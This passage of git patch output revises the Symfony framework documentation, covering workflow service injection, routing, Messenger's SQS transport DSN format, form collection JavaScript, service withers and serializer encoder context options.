+        {
+            $this->workflowRegistry = $workflowRegistry;
+        }
+
+        public function toReview(BlogPost $post)
+        {
+            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
+
+            // ...
+        }
+    }
+
+.. tip::
+
+    You can find the list of available workflow services with the
+    ``php bin/console debug:autowiring workflow`` command.
+
 Using Events
 ------------
 
@@ -829,25 +856,23 @@ Then you can access this metadata in your controller as follows::
 
     // src/App/Controller/BlogPostController.php
     use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\WorkflowInterface;
     // ...
 
-    public function myAction(Registry $registry, BlogPost $post)
+    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post)
     {
-        $workflow = $registry->get($post);
-
-        $title = $workflow
+        $title = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getWorkflowMetadata()['title'] ?? 'Default title'
         ;
 
-        $maxNumOfWords = $workflow
+        $maxNumOfWords = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getPlaceMetadata('draft')['max_num_of_words'] ?? 500
         ;
 
-        $aTransition = $workflow->getDefinition()->getTransitions()[0];
-        $priority = $workflow
+        $aTransition = $blogPublishingWorkflow->getDefinition()->getTransitions()[0];
+        $priority = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getTransitionMetadata($aTransition)['priority'] ?? 0
         ;
@@ -870,7 +895,7 @@ In a :ref:`flash message <flash-messages>` in your controller::
 
     // $transition = ...; (an instance of Transition)
 
-    // $workflow is a Workflow instance retrieved from the Registry (see above)
+    // $workflow is a Workflow instance retrieved from the Registry or injected directly (see above)
     $title = $workflow->getMetadataStore()->getMetadata('title', $transition);
     $this->addFlash('info', "You have successfully applied the transition with title: '$title'");
 

From 104c8f01ee465fe9b95553504d8c115d64799bf5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 1 Nov 2020 14:37:17 +0100
Subject: [PATCH 1440/7107] Update routing.rst

Fixing argument number. Function signature is:
```php
final public function import($resource, string $type = null, bool $ignoreErrors = false, $exclude = null): ImportConfigurator
```
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 5aaebf659cd..d88ebb773a5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1243,7 +1243,7 @@ the common configuration using options when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fifth argument of import() to exclude some files
+            // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs

From e62f4c73b4458bc3f485ebf067d14b5a3fb528cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Nov 2020 09:24:49 +0100
Subject: [PATCH 1441/7107] -

---
 performance.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 65859141433..de0d7883a04 100644
--- a/performance.rst
+++ b/performance.rst
@@ -221,8 +221,8 @@ Profiling with Blackfire
 applications during development, test and production. It's a commercial service,
 but provides free features that you can use to find bottlenecks in your projects.
 
-Profilwing with Symfony Stopwatch
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Profiling with Symfony Stopwatch
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Symfony provides a basic performance profiler in the development
 :ref:`config environment <configuration-environments>`. Click on the "time panel"

From 953845cddc63f9a12a54fff135fff7a9485bdb78 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 2 Nov 2020 13:57:47 +0100
Subject: [PATCH 1442/7107] some minor tweaks

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index a8374aaca4a..0f4d88904d6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -380,12 +380,12 @@ its location, same as for ``docker-compose``:
 
 .. caution::
 
-    When using Symfony binary with ``php bin/console`` (``symfony console ...``)
-    the binay will **always** use environment variables detected via Docker and will
+    When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
+    the binary will **always** use environment variables detected via Docker and will
     ignore local environment variables.
     For example if you set up a different database name in your ``.env.test`` file
     (``DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/test``) and if you run
-    ``symfony console doctrine:database:drop --force --env=test`` the command will drop the database
+    ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
 SymfonyCloud Integration

From 8cdbb3935bf9b42428f97583d2a1e2d73a96d7e0 Mon Sep 17 00:00:00 2001
From: Ilya Bakhlin <github@ilyabakhlin.com>
Date: Tue, 3 Nov 2020 08:49:36 +0100
Subject: [PATCH 1443/7107] Updating the Installer Related Instructions

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup.rst b/setup.rst
index b2fe9ab23bd..1bf907318d9 100644
--- a/setup.rst
+++ b/setup.rst
@@ -67,7 +67,7 @@ with the ``new`` command:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name --version=3.4
+    $ symfony new my_project_name 3.4
 
 This command creates a new directory called ``my_project_name/`` that contains
 an empty project based on the most recent stable Symfony version available. In
@@ -111,14 +111,14 @@ In case your project needs to be based on a specific Symfony version, use the
 .. code-block:: terminal
 
     # use the most recent version in any Symfony branch
-    $ symfony new my_project_name --version=3.3
-    $ symfony new my_project_name --version=3.4
+    $ symfony new my_project_name 3.3
+    $ symfony new my_project_name 3.4
 
     # use the most recent 'lts' version (Long Term Support version)
-    $ symfony new my_project_name --version=lts
+    $ symfony new my_project_name lts
 
     # use the 'next' Symfony version to be released (still in development)
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name next
 
 Each version has its *own* documentation, which you can select on any documentation
 page.

From 2e848b41189b82cee4d46a1277f2116e5ab75bac Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Nov 2020 15:43:05 +0100
Subject: [PATCH 1444/7107] Minor: Use Twig code block

this way it can easily be copied
---
 routing.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5aaebf659cd..ed7e5df48f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2266,8 +2266,11 @@ generating the route::
 
     $this->generateUrl('blog_show', ['slug' => 'slug-value']);
 
-    // or, in Twig
-    // {{ path('blog_show', {slug: 'slug-value'}) }}
+or, in Twig:
+
+.. code-block:: twig
+
+    {{ path('blog_show', {slug: 'slug-value'}) }}
 
 Learn more about Routing
 ------------------------

From dbed899b608229706ed88b84fb36d5e7a7ba7da1 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:42:30 +0100
Subject: [PATCH 1445/7107] [Notifier][Discord] Use correct use statements

---
 notifier/chatters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..7fe42a02f67 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -107,11 +107,11 @@ With a Discord message, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
 some interactive options called `Embed elements`_::
 
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Message\ChatMessage;
 
     $chatMessage = new ChatMessage('');

From 958aeafd32cb4bd44aefb540efb59442911d3e1e Mon Sep 17 00:00:00 2001
From: Florian Hermann <florian.hermann94@gmail.com>
Date: Tue, 3 Nov 2020 16:47:40 +0100
Subject: [PATCH 1446/7107] Add priority order explanation for tagged services

---
 service_container/tags.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7ec5fcc5637..bbe7df1af6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -596,8 +596,9 @@ Tagged Services with Priority
 
     The ability to prioritize tagged services was introduced in Symfony 4.4.
 
-The tagged services can be prioritized using the ``priority`` attribute,
-thus providing a way to inject a sorted collection of services:
+The tagged services can be prioritized using the ``priority`` attribute.
+The priority is a positive or negative integer. The higher the number,
+the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 
@@ -655,7 +656,7 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority 
+If you want to have another method defining the priority
 (e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
 you can define it in the configuration of the collecting service:
 

From 447065dc4fe6fb83fd658bf4ea1bd10c65821d60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 4 Nov 2020 10:03:11 +0100
Subject: [PATCH 1447/7107] Add documentation about GetQueueUrl and DSN format
 in SQS transport

---
 messenger.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 6c2f2e35794..2e41a0ca86f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1300,7 +1300,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport as introduced in Symfony 5.1.
+    The Amazon SQS transport has been introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1314,7 +1314,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
+    MESSENGER_TRANSPORT_DSN=https://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/123456789012/messages
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::
@@ -1322,6 +1322,17 @@ The SQS transport DSN may looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the ``auto_setup`` option to ``false``.
 
+.. tip::
+
+    Before sending or receiving a message, Symfony needs to convert the queue
+    name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
+    extra API call can be avoided by providing a DSN which is the queue URL.
+
+.. versionadded:: 5.2
+
+    Providing a DSN equals to the queue URL to avoid call to ``GetQueueUrl``
+    has been introduced in Symfony 5.2.
+
 The transport has a number of options:
 
 ======================  ======================================  ===================================

From 2a48c4410f659638d42c51c0e8388cfe7a177030 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Nov 2020 10:26:53 +0100
Subject: [PATCH 1448/7107] Tweaks

---
 messenger.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2e41a0ca86f..ac07b40c624 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1300,7 +1300,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport has been introduced in Symfony 5.1.
+    The Amazon SQS transport was introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1328,10 +1328,9 @@ The SQS transport DSN may looks like this:
     name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
     extra API call can be avoided by providing a DSN which is the queue URL.
 
-.. versionadded:: 5.2
+    .. versionadded:: 5.2
 
-    Providing a DSN equals to the queue URL to avoid call to ``GetQueueUrl``
-    has been introduced in Symfony 5.2.
+        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
 
 The transport has a number of options:
 

From 3abecebd33c11c0373a775f0b9de1d0c491798e4 Mon Sep 17 00:00:00 2001
From: Thibaut Cheymol <thibaut.cheymol@gmail.com>
Date: Sun, 4 Oct 2020 22:53:49 +0200
Subject: [PATCH 1449/7107] [Collection forms] Make javascript generic

---
 form/form_collections.rst | 37 +++++++++++++++++++------------------
 1 file changed, 19 insertions(+), 18 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 1d0b56c244a..068b4c84985 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -242,7 +242,13 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}">
+    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+
+Now add a button just next to the ``<ul>`` to dynamically add a new tag
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
 
 On the rendered page, the result will look something like this:
 
@@ -285,27 +291,18 @@ will be show next):
 
 .. code-block:: javascript
 
-    var $collectionHolder;
-
-    // setup an "add a tag" link
-    var $addTagButton = $('<button type="button" class="add_tag_link">Add a tag</button>');
-    var $newLinkLi = $('<li></li>').append($addTagButton);
-
     jQuery(document).ready(function() {
         // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add the "add a tag" anchor and li to the tags ul
-        $collectionHolder.append($newLinkLi);
-
+        var $tagsCollectionHolder = $('ul.tags');
         // count the current form inputs we have (e.g. 2), use that as the new
         // index when inserting a new item (e.g. 2)
-        $collectionHolder.data('index', $collectionHolder.find('input').length);
+        $tagsCollectionHolder.data('index', $tagsCollectionHolder.find('input').length);
 
-        $addTagButton.on('click', function(e) {
+        $('body').on('click', '.add_item_link', function(e) {
+            var $collectionHolderClass = $(e.currentTarget).data('collectionHolderClass');
             // add a new tag form (see next code block)
-            addTagForm($collectionHolder, $newLinkLi);
-        });
+            addFormToCollection($collectionHolderClass);
+        })
     });
 
 The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
@@ -319,7 +316,10 @@ one example:
 
 .. code-block:: javascript
 
-    function addTagForm($collectionHolder, $newLinkLi) {
+    function addFormToCollection($collectionHolderClass) {
+        // Get the ul that holds the collection of tags
+        var $collectionHolder = $('.' + $collectionHolderClass);
+
         // Get the data-prototype explained earlier
         var prototype = $collectionHolder.data('prototype');
 
@@ -341,7 +341,8 @@ one example:
 
         // Display the form in the page in an li, before the "Add a tag" link li
         var $newFormLi = $('<li></li>').append(newForm);
-        $newLinkLi.before($newFormLi);
+        // Add the new form at the end of the list
+        $collectionHolder.append($newFormLi)
     }
 
 .. note::

From acfe6b620538d4bc21b9e2d9bd81bb8be0aef4fb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 15:11:29 +0100
Subject: [PATCH 1450/7107] [#14340] Some minor textual changes

---
 form/form_collections.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 068b4c84985..405ffed53e4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,14 +280,12 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks a "Add a tag" link.
+and dynamically add new tag forms when the user clicks the "Add a tag" button.
 This example uses jQuery and assumes you have it included somewhere on your page.
 
-Add a ``script`` tag somewhere on your page so you can start writing some JavaScript.
-
-First, add a link to the bottom of the "tags" list via JavaScript. Second,
-bind to the "click" event of that link so you can add a new tag form (``addTagForm()``
-will be show next):
+Add a ``script`` tag somewhere on your page so you can start writing some
+JavaScript. In this script, bind to the "click" event of the "Add a tag"
+button so you can add a new tag form (``addFormToCollection()`` will be show next):
 
 .. code-block:: javascript
 

From 4bdab6fb8fc7f06eb05b3c5141a1ed415b1b035c Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 3 May 2020 21:36:09 +0200
Subject: [PATCH 1451/7107] Add wither behavior with PHP8 static return type

---
 service_container/calls.rst | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index 11dea241613..8496caa724a 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -90,9 +90,6 @@ instead of mutating the object they were called on::
     {
         private $logger;
 
-        /**
-         * @return static
-         */
         public function withLogger(LoggerInterface $logger)
         {
             $new = clone $this;
@@ -146,3 +143,19 @@ The configuration to tell the container it should do so would be like:
 
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
+
+If autowire is enabled, you can also use annotations; with the previous exemple it would be::
+
+    /**
+     * @required
+     * @return static
+     */
+    public function withLogger(LoggerInterface $logger)
+    {
+        $new = clone $this;
+        $new->logger = $logger;
+
+        return $new;
+    }
+
+You can also leverage the PHP8 ``static`` return type instead of the ``@return static`` annotation. Note if you don't want a method with a PHP8 ``static`` return type and a ``@required`` annotation to behave as a wither, you can add a ``@return $this`` annotation to disable the *returns clone* feature.

From 281d758f331081bf27e6046958169474b5bff53c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 16:12:49 +0100
Subject: [PATCH 1452/7107] [#13619] Moved text into a note and added
 versionadded

---
 service_container/calls.rst | 36 ++++++++++++++++++++++++------------
 1 file changed, 24 insertions(+), 12 deletions(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index 8496caa724a..7f12a38ac4c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -144,18 +144,30 @@ The configuration to tell the container it should do so would be like:
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
 
-If autowire is enabled, you can also use annotations; with the previous exemple it would be::
+.. tip::
 
-    /**
-     * @required
-     * @return static
-     */
-    public function withLogger(LoggerInterface $logger)
-    {
-        $new = clone $this;
-        $new->logger = $logger;
+    If autowire is enabled, you can also use annotations; with the previous
+    example it would be::
 
-        return $new;
-    }
+        /**
+         * @required
+         * @return static
+         */
+        public function withLogger(LoggerInterface $logger)
+        {
+            $new = clone $this;
+            $new->logger = $logger;
+
+            return $new;
+        }
+
+    You can also leverage the PHP 8 ``static`` return type instead of the
+    ``@return static`` annotation. If you don't want a method with a
+    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    a wither, you can add a ``@return $this`` annotation to disable the
+    *returns clone* feature.
+
+    .. versionadded:: 5.1
 
-You can also leverage the PHP8 ``static`` return type instead of the ``@return static`` annotation. Note if you don't want a method with a PHP8 ``static`` return type and a ``@required`` annotation to behave as a wither, you can add a ``@return $this`` annotation to disable the *returns clone* feature.
+        Support for the PHP 8 ``static`` return type was introduced in
+        Symfony 5.1.

From 9176faa6375ed46433c14487f9753425b75f1cef Mon Sep 17 00:00:00 2001
From: LucileDT <lucile.decrozant.triquenaux@protonmail.com>
Date: Wed, 13 May 2020 17:56:48 +0200
Subject: [PATCH 1453/7107] Add array example on ChoiceType choice_attr option

---
 reference/forms/types/options/choice_attr.rst.inc | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index ac149f3999d..b86b7450778 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -13,6 +13,20 @@ If an array, the keys of the ``choices`` array must be used as keys::
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...
 
+    $builder->add('fruits', ChoiceType::class, [
+        'choices' => [
+            'Apple' => 1,
+            'Banana' => 2,
+            'Durian' => 3,
+        ],
+        'choice_attr' => [
+            'Apple' => ['data-color' => 'Red'],
+            'Banana' => ['data-color' => 'Yellow'],
+            'Durian' => ['data-color' => 'Green'],
+        ],
+    ]);
+
+    // or use a callable
     $builder->add('attending', ChoiceType::class, [
         'choices' => [
             'Yes' => true,

From 0163ab399562c2a84acee070dee73b79d843434d Mon Sep 17 00:00:00 2001
From: armin-github <arminpeymann@yahoo.com>
Date: Thu, 27 Feb 2020 17:50:51 +0100
Subject: [PATCH 1454/7107] addressed issue #11786

The following issue has been addressed: Repeated entry in the Serializer components doc #11786
The separate documentations for XMLEncoder were put into one section with minor changes in text. The documentation now contains one single section for XMLEncoder.
---
 components/serializer.rst | 110 +++++++++++++++-----------------------
 1 file changed, 42 insertions(+), 68 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index eba1e0a57cc..fdc34fb6f44 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -841,8 +841,20 @@ The ``XmlEncoder`` will encode this object like that::
         <bar>1</bar>
     </response>
 
-Be aware that this encoder will consider keys beginning with ``@`` as attributes, and will use
-the key  ``#comment`` for encoding XML comments::
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    // is encoded as follows:
+    // <?xml version="1.0"?>
+    // <response>
+    //     <foo bar="value">
+    //        baz
+    //     </foo>
+    // </response>
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
 
     $encoder = new XmlEncoder();
     $encoder->encode([
@@ -869,6 +881,34 @@ always as a collection.
     changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
     ``XmlEncoder`` class constructor.
 
+The ``XmlEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the XmlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+``xml_format_output``
+    If set to true, formats the generated XML with line breaks and indentation.
+
+``xml_version``
+    Sets the XML version attribute (default: ``1.1``).
+
+``xml_encoding``
+    Sets the XML encoding attribute (default: ``utf-8``).
+
+``xml_standalone``
+    Adds standalone attribute in the generated XML (default: ``true``).
+
+``xml_root_node_name``
+    Sets the root node name (default: ``response``).
+
+``remove_empty_tags``
+    If set to true, removes all empty tags in the generated XML (default: ``false``).
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1192,72 +1232,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-The ``XmlEncoder``
-------------------
-
-This encoder transforms arrays into XML and vice versa. For example, take an
-object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` encodes this object as follows:
-
-.. code-block:: xml
-
-    <?xml version="1.0"?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The array keys beginning with ``@`` are considered XML attributes::
-
-    ['foo' => ['@bar' => 'value']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    // </response>
-
-Use the special ``#`` key to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">baz</foo>
-    // </response>
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
 
 The ``CsvEncoder``
 ------------------

From adf1978d322bcf2977cdc7c5c8ce01a4b5402886 Mon Sep 17 00:00:00 2001
From: Maarten de Keizer <github@maartendekeizer.nl>
Date: Sun, 8 Nov 2020 10:08:32 +0100
Subject: [PATCH 1455/7107] Correct case of suffix in example rate limiter

The suffix should be with an uppercase (`limiter` -> `Limiter)
---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 22a56168498..f5473607fe7 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -129,7 +129,7 @@ the number of requests to the API::
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
-        // "rate limiter name" (in camelCase) + "limiter" suffix
+        // "rate limiter name" (in camelCase) + "Limiter" suffix
         public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client

From d397c38b43ba4fddcc49326ae1d415049e805d69 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 18:47:02 +0100
Subject: [PATCH 1456/7107] Merge encoder sections and show options in a table

---
 components/serializer.rst | 108 ++++++++++++++++----------------------
 1 file changed, 44 insertions(+), 64 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fdc34fb6f44..20d31fa8c0c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -823,6 +823,38 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
+The ``CsvEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the CsvEncoder an associative array::
+
+    $csvEncoder->encode($array, 'csv', $context);
+
+These are the options available:
+
+======================= ====================================================  ==========================
+Option                  Description                                           Default
+======================= ====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one       ``,``
+                        character only)
+``csv_enclosure``       Sets the field enclosure (one character only)         ``"``
+``csv_escape_char``     Sets the escape character (at most one character)
+``csv_key_separator``   Sets the separator for array's keys during its        ``.``
+                        flattening
+``csv_headers``         Sets the headers for the data                         ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
+                        with a ``\t`` character
+``as_collection``       Always returns results as a collection, even if only
+                        one line is decoded.
+``no_headers``          Disables header in the encoded CSV                    ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data  ``false``
+======================= ====================================================  ==========================
+
+.. versionadded:: 4.4
+
+    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -891,23 +923,18 @@ which defines the configuration options for the XmlEncoder an associative array:
 
 These are the options available:
 
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
+======================  ==================================================== ==========================
+Option                  Description                                          Default
+======================  ==================================================== ==========================
+``xml_format_output``   If set to true, formats the generated XML with line
+                        breaks and indentation.
+``xml_version``         Sets the XML version attribute                       ``1.1``
+``xml_encoding``        Sets the XML encoding attribute                      ``utf-8``
+``xml_standalone``      Adds standalone attribute in the generated XML       ``true``
+``xml_root_node_name``  Sets the root node name (default: ``response``).
+``remove_empty_tags``   If set to true, removes all empty tags in the        ``false``
+                        generated XML
+======================  ==================================================== ==========================
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
@@ -1232,53 +1259,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-
-The ``CsvEncoder``
-------------------
-
-This encoder transforms arrays into CSV and vice versa.
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-``csv_delimiter``
-    Sets the field delimiter separating values (one character only, default: ``,``).
-
-``csv_enclosure``
-    Sets the field enclosure (one character only, default: ``"``).
-
-``csv_escape_char``
-    Sets the escape character (at most one character, default: empty string).
-
-``csv_key_separator``
-    Sets the separator for array's keys during its flattening (default: ``.``).
-
-``csv_headers``
-    Sets the headers for the data (default: ``[]``, inferred from input data's keys).
-
-``csv_escape_formulas``
-    Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
-
-``as_collection``
-    Always returns results as a collection, even if only one line is decoded.
-
-``no_headers``
-    Disables header in the encoded CSV (default: ``false``).
-
-``output_utf8_bom``
-    Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
-
-.. versionadded:: 4.4
-
-    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
-
 Handling Constructor Arguments
